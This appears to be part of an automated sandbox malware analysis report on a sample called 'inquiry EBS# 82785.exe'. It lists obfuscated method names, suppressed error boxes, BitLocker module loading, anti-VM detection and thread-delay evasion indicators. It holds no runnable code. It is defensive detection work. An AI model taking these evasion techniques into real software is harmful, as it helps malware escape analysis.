            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, bDuPk7MMytu11itw4iq.csHigh entropy of concatenated method names: 'ToString', 'FyyqxuceCX', 'tUkqS41nd5', 'igZqaqTYlN', 'CPRqlf16K1', 'Y2HqNKDNJt', 'jQTqsJ7Y9T', 'RZdqiFqrNg', 'eBKVlmyCuMVDKR8IqPR', 'bTMS1GybavJWMsLayLV'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, FtMufWMYvQ2VjJiLG7M.csHigh entropy of concatenated method names: 'B2hqXsFJyl', 'HGAqoxmgns', 'OW1qd9J9oM', 'YInRsjyLjYfT4Uypy5Y', 'wF1GkmyFaTDxLUBbBm8', 'wvl28UyzOolrKFVpn9J', 'abRAHCq2WxuNO2gyTU1', 'kXtAZ2qX5l4ihSRgVIU'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, TtXuHOVjoa3ddPEElw.csHigh entropy of concatenated method names: 'zHFnaZ3TIb', 'EVTnNlZqxi', 'RRsniLRkBG', 'c0gnkJkwpB', 'UVnnpTMoKr', 'utwiK6aSwK', 'THHiAgKTiA', 'W62iZfeJHA', 'WEQiDDt04u', 'ELliG7S9au'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, xvhxQQx1VqoiIGOhgR.csHigh entropy of concatenated method names: 'SpqsHq6NYp', 'fKdsWVvUff', 'VCNsY0pSjm', 'g82scOtOX3', 'jvist7YgR0', 'yIDs2da2ux', 'shBs7wZTPt', 'TO3srD3XxA', 'xZBs9pk7IK', 'OdDsqi5G3E'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, gM95yfGj9RTfd9Vjt2.csHigh entropy of concatenated method names: 'gcJiBjtVHT', 'CbaivIiEaq', 'k83sufThmq', 'gEasPig56m', 'RwasIbsDJs', 'vbus0bgCEe', 'OSXsJmKoaM', 'iH3sb5iPwc', 'eWnswFgrIx', 'oeWsF13ZsU'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, kSceeLHm7i2YCV0APC.csHigh entropy of concatenated method names: 'V4PtFH6uhv', 'JnWtVf4KLx', 'jw6teTRBNo', 'zAEtmUr6NE', 'ktPthWtPl3', 'zAmtu6trV2', 'ExWtPKyifk', 'M4CtIkjCy4', 'zDQt0lltRc', 'vRAtJT1m64'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, Nm3bAQz0G6h3W4ZbrO.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'bSW91FqrQ0', 'maC9t6k6QI', 'gJk92h7pdq', 'Fs797iAPLS', 'FEe9r2q0UX', 'iQW99Dpe9s', 'BZ29qZ5xmT'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, GAehUb0EjiQekj23xY.csHigh entropy of concatenated method names: 'V4qLkkUDBH', 'YWtLpWXa78', 'ToxL3KWSqr', 'mgDL68SECO', 'GOyLtiJpC4', 'YtML2g75rA', 'wtFbRQehGipuvQtXgC', 'UlKT6Jpu8PCN81DRxx', 'xw4LLFMLZ6', 'BB2Lxppsd0'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, Mc1lp8us5WUHqZfxl6.csHigh entropy of concatenated method names: 'B641YagALZ', 'wkX1cebAGp', 'fgi1CGJ2y6', 'jnd1hIQRDK', 'HGO1PaiX6P', 'a6T1ILGc80', 'a0R1JmB2l3', 'zKf1bcOrtV', 'c7x1F4PNrE', 'GZH15LlCql'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, TRb9De1bjl2tJfPoiq.csHigh entropy of concatenated method names: 'BbR9LJ0BLE', 'NR29xJ26P2', 'PBS9SPlGD4', 'm5u9lrmbSA', 'kPP9NtP58U', 'RZi9iUarg5', 'FIs9nsHhbW', 'MearZlOpNB', 'EMErD2fKv7', 'FbQrGmcohx'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, N6DDnZAE4yvHR3hqWD.csHigh entropy of concatenated method names: 'GhxxaYo8hu', 'JbQxlIMmL9', 'OtoxNNwYte', 'fCAxsvSEjB', 'BWExinO1RF', 'YU4xnBQ8Xw', 'xRCxkpH1I5', 'NotxputClH', 'tipxUKGfM0', 'e9ix3ZjU1S'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, s74S1sMt0Hdo61Oaqg7.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'JJnqe4YFPu', 'Q12qmybROB', 'AnhqE4gy3p', 'z6PqRe1pb4', 'WUUqKtHXy2', 't3vqAIm0eR', 'nBQqZ9L7Bc'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, eIno1KD6sJ7kVtvvWB.csHigh entropy of concatenated method names: 'UUCrlBMXiq', 't6prNu1X92', 'mMUrsSuIWr', 'miAriauDlo', 'mUwrnOwAAu', 'Lr5rk3PZ6g', 'YGerpMQPsZ', 'cAlrUdPWHX', 'o7xr3fkTZX', 'tfYr6FeCRU'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, FBET1vmDCUg7UMq0hh.csHigh entropy of concatenated method names: 'm4prCcYkTX', 'trCrh6QWn3', 'V09ruoMTL6', 'qFrrPFkUAe', 'OYMrewrTgI', 'ag8rI60OuQ', 'Next', 'Next', 'Next', 'NextBytes'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, t6MYaWPf12VeY5M6RH.csHigh entropy of concatenated method names: 'l0tklhFliD', 'D4PksRkKsG', 'KZKknxvplZ', 'Xbyny3pTDW', 'rO2nzEqw0J', 'iy9kMGEN6f', 'xlBkLP2BGf', 'Bcjk4uZo9D', 's0TkxXnDTh', 'rLKkSSpOGR'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, YHcuOs9rNyXQII3LoF.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Q2g4Guat6o', 'kXo4ya3bHr', 'lJk4zCXlAf', 'vqlxMJV4ph', 'sCfxLKVUXM', 'Qw6x4U46ch', 'XYwxxQhBfM', 'XN5cISXj313JZ1FcP2e'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, tnLdWEBm0adCBNA3Ol.csHigh entropy of concatenated method names: 'AZhNeqFcR3', 'Ms3NmbNI0D', 'i5wNEBUmuB', 'ocfNRuLoBs', 'AolNKIKTye', 'Kh5NAJ1DXP', 'yPBNZ8okvZ', 'FRHNDKTh5l', 'dbcNGUua1y', 'gj3NyiMQOr'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, oIG6EsvLmXMmxJDAf6.csHigh entropy of concatenated method names: 'ToString', 'aJI25ZTGgH', 'Cy92hdGFRJ', 'D8a2ucWLpP', 'L1f2PcliJi', 'iFC2ILYAXV', 'P0Q20Y8jSy', 'p6m2JDHEHd', 'nYH2b2wSX7', 'F1B2wrU526'

            Hooking and other Techniques for Hiding and Protection

            barindex
            Loading BitLocker PowerShell Module
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Yara detected AntiVM3
            Source: Yara matchFile source: Process Memory Space: inquiry EBS# 82785.exe PID: 4816, type: MEMORYSTR
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeMemory allocated: E40000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeMemory allocated: 27F0000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeMemory allocated: E60000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeMemory allocated: 7020000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeMemory allocated: 8020000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeMemory allocated: 81B0000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeMemory allocated: 91B0000 memory reserve | memory write watchJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0151096E rdtsc 4_2_0151096E
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6205Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1933Jump to behavior
